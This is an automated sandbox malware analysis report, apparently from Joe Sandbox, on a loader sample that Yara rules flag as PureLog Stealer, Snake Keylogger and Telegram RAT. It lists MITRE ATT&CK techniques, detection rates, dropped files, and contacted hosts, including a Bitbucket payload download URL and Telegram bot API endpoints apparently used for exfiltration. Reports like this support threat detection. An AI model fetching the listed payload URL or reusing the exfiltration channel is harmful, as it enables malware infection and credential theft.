Source: Yara match	File source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 26.2.yihfsboC.pif.2b4c0000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2ae90f08.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.yihfsboC.pif.327be688.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34860000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34860000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2ae90000.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.25d6b98e.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.29915570.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.35955570.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.27066478.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.285a0f08.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.3598e790.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.35956478.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2994e790.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.285a0000.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34690000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.285db98e.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.342dc896.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.3.yihfsboC.pif.268cecc8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.35955570.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2994e790.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.3.yihfsboC.pif.268cecc8.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.285a0f08.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34690f08.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.28be0000.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.29916478.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.3598e790.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.285a0000.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.29916478.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.2709e790.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.25d6c896.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.285dc896.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2ae90f08.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.27065570.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.342db98e.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.285dc896.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2ae90000.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.yihfsboC.pif.327be688.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.35956478.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.285db98e.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34690000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.2b4c0000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.27066478.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.34690f08.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.25d6b98e.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.342db98e.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.yihfsboC.pif.342dc896.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.yihfsboC.pif.24219998.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.yihfsboC.pif.27065570.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.yihfsboC.pif.29915570.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Snake Keylogger

Source: Yara match	File source: 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.00000000260EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034B53000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028A32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034A76000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.00000000260FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Shared Modules	1 Valid Accounts	1 Valid Accounts	11 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	1 Data from Local System	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	311 Process Injection	3 Software Packing	NTDS	36 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Timestomp	LSA Secrets	251 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 File Deletion	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	221 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Valid Accounts	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	41 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	311 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
EPTMAcgvNZ.exe	63%	ReversingLabs	Win32.Trojan.ModiLoader
EPTMAcgvNZ.exe	71%	Virustotal		Browse
EPTMAcgvNZ.exe	100%	Avira	TR/AD.Nekark.pgnqj
EPTMAcgvNZ.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\Public\Libraries\Cobsfhiy.PIF	100%	Avira	TR/AD.Nekark.pgnqj
C:\Users\Public\Libraries\Cobsfhiy.PIF	100%	Joe Sandbox ML
C:\Users\Public\Libraries\Cobsfhiy.PIF	63%	ReversingLabs	Win32.Trojan.ModiLoader
C:\Users\Public\Libraries\yihfsboC.pif	3%	ReversingLabs
C:\Users\Public\alpha.pif	0%	ReversingLabs
C:\Users\Public\xpha.pif	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net	0%	Avira URL Cloud	safe
http://www.microsoft.co~eE	0%	Avira URL Cloud	safe
https://api.telegram.orgpj	0%	Avira URL Cloud	safe
https://bbc-frontbucket-canary.prod-east.f	0%	Avira URL Cloud	safe
https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net	0%	Avira URL Cloud	safe
http://www.microsoft.cfdm	0%	Avira URL Cloud	safe
https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
s3-w.us-east-1.amazonaws.com	16.182.70.225	true	false	high
bitbucket.org	185.166.143.48	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	132.226.8.169	true	false	high
bbuseruploads.s3.amazonaws.com	unknown	unknown	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bitbucket.org/ntim1478/gpmaw/downloads/240_Cobsfhiygmx	false		high
http://checkip.dyndns.org/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	false		high
https://bitbucket.org/	EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-canary.prod-east.frontend.public.atl-paas.net	EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com/e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/d4025bf5-bb79-	EPTMAcgvNZ.exe, 00000000.00000002.1354974339.0000000000829000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org	yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000260F4000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000260FA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034B53000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034A76000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A32000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	yihfsboC.pif, 0000000E.00000002.2536490412.00000000260EC000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2536490412.00000000260FA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034B53000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034A76000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A96000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	false		high
http://microsoft.co	yihfsboC.pif, 00000017.00000003.1647444875.000000003753B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2547471233.00000000374F2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://web-security-reports.services.atlassian.com/csp-report/bb-website	EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	yihfsboC.pif, 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bitbucket.org/ntim1478/gpmaw/dow	EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000208FD000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-static.stg-east.frontend.public.atl-paas.net	EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dz8aopenkvv6s.cloudfront.net	EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.microsoft.co~eE	yihfsboC.pif, 00000017.00000003.1647444875.000000003753B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2547471233.00000000374F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/h	yihfsboC.pif, 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.orgpj	yihfsboC.pif, 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-frontbucket-static.prod-east.frontend.public.atl-paas.net	EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/p	yihfsboC.pif, 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.cookielaw.org/	EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsoft.c	yihfsboC.pif, 0000000E.00000002.2542798252.0000000028C83000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aui-cdn.atlassian.com/	EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com/;	EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;	EPTMAcgvNZ.exe, 00000000.00000003.1327271829.0000000000827000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bbuseruploads.s3.amazonaws.com:443/e427e629-62a6-4ecd-bf22-56e4d6ea083f/downloads/d4025bf5-b	EPTMAcgvNZ.exe, 00000000.00000002.1353822380.00000000007EA000.00000004.00000020.00020000.00000000.sdmp	false		high
